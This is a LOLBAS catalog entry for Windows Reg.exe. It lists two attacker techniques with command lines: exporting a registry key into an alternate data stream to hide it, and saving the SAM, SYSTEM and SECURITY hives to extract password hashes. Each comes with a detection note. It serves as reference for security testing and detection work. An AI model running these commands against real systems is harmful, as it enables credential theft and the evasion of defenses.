Catalog LOLBAS

LOL · Binary

Reg.exe

2 techniques WindowsLOLBAS GPL-3.0

ADS

Defense EvasionFile Write Windows

Export the target Registry key and save it to the specified .REG file within an Alternate data stream.

Use Hide/plant registry information in Alternate data stream for later use

reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.reg
Context
user
Native
ADS
Detection
IOC: reg.exe writing to an ADS

Credentials

Credential Access Windows

Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material

Use Dump credentials from the Security Account Manager (SAM)

reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak}
Context
admin
Native
Credentials
Detection
IOC: reg.exe writing to an ADS